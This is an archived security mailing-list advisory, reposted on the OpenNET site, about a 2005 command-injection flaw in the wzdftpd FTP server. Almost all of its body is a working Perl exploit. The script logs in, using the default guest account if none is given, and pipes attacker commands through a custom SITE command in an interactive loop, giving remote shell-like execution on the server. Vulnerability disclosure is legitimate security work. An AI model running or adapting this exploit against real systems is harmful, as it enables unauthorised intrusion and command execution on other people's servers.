The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[EXPL] Wzdftpd Code Execution (Unfiltered Pipe in Popen)


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 26 Sep 2005 12:58:22 +0200
Subject: [EXPL] Wzdftpd Code Execution (Unfiltered Pipe in Popen)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050926143615.C5FE05786@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Wzdftpd Code Execution (Unfiltered Pipe in Popen)
------------------------------------------------------------------------


SUMMARY

 <http://www.wzdftpd.net/>; Wzdftpd is a "Portable, modular and efficient 
ftp server, supporting SSL, winsock, multithreaded, modules ,externals 
scripts. unix-like permissions+acls, virtual users/groups, security, 
speed, bandwith limitation (user,group,global), group admins, per command 
auth."

Lack of proper input validation allow attackers to execute arbitrary code 
using the wzdftpd server.

DETAILS

Exploit:
######################################################
# 0day0day0day0day0day0day0day
# -------------------------------
# wzdftpd remote exploit by kcope
# nice call to popen(3) on custom
# site commands...
#
# August 2005
# confidential! keep private!
# -------------------------------
# 0day0day0day0day0day0day0day
#
# .___ _____ __ .___
#__ _ __________ __| _// ____\/ |_______ __| _/
#\ \/ \/ /\___ // __ |\ __\\ __\____ \ / __ |
# \ / / // /_/ | | | | | | |_> > /_/ |
# \/\_/ /_____ \____ | |__| |__| | __/\____ |
# \/ \/ |__| \/
#
#__ _ _______ _______ ____ ________
#\ \/ \/ /\__ \\_ __ \_/ __ \\___ /
# \ / / __ \| | \/\ ___/ / /
# \/\_/ (____ /__| \___ >_____ \
# \/ \/ \/ VER1
######################################################
use Net::FTP;

sub usage
{
  print "usage: wzdftpdwarez.pl remote_host remote_port user pass 
custom_site_command\n" .
        "default guest account for wzdftpd is username/password: 
guest/%\n";
}

print " wzdftpd remote exploit by kcope August 2005 confidential! keep 
private! ";
if ($#ARGV < 4) {
   usage();
   exit();
}

$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$sitecmd = $ARGV[4];
$ftp = Net::FTP->new(Host => $host, Port => $port, Debug => 0) or die 
"Cannot connect to $host: $@";
$ftp->login($user, $pass) or die "Cannot login ", $ftp->message;

print "Now you can type commands, hopefully as r00t!\n";

while(1) {
   print "!\$%&#>";
   $cmd=<stdin>;
   $ftp->site($sitecmd, "|$cmd;");
   print $ftp->message();
}

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:kingcope@gmx.net.> kcope.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру